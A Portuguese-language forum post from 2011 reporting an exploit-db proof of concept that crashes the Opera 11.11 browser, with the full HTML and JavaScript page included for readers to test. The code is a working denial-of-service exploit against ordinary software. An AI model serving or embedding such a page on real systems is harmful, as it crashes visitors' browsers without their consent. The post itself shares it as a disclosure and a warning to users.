Opera 11.11 - Crash Remoto

0 respostas
Andre_Rosa

Bonjour,

No dia 04/06 foi publicado no exploit-db um javascript que causa o famoso e tão temido "crash" no navegador Opera, versão 11.11. Bom, a versão 11.11 provavelmente é a ultima, pois se vocês derem uma conferida no site oficial, verão que há um botão para download desta versão.

http://www.opera.com/download/

para quem quiser fazer alguns testes, o script é esse:

<html>
  <body>
   <iframe src='about:blank' id='bo0om' style="width:0px;height:0px;border:0px none;"></iframe>
   <script type="text/javascript"  language="javascript">
   
    /*
    *              
    * Opera 11.11 Remote  Crash
    * Software link: http://www.opera.com/download/
    * Tested on: Win32 xp home sp 3   
    * CVE : null
    *        
    * Im too lazy to deep analyze this ,but i thing is just unexploitable crash
    * so f****jixvt
    *      ( dla klechis³awa i jego kosiarki :i )
    *   
    */               
   
      var a = window.document.getElementById('bo0om');
      var b = a.contentDocument.createElement('font');
      a.src='about:blank';
      setTimeout('b.face = "h3h";',500);
       
   </script>
  </body>
</html>

O javascript foi publicado aqui:
http://www.exploit-db.com/exploits/17396/

Então, quem usa esse navegador, e nessa versão, cuidado! Pode vir mais coisa por aí.

Merci, des amis.

Criado 19 de junho de 2011
Respostas 0
Participantes 1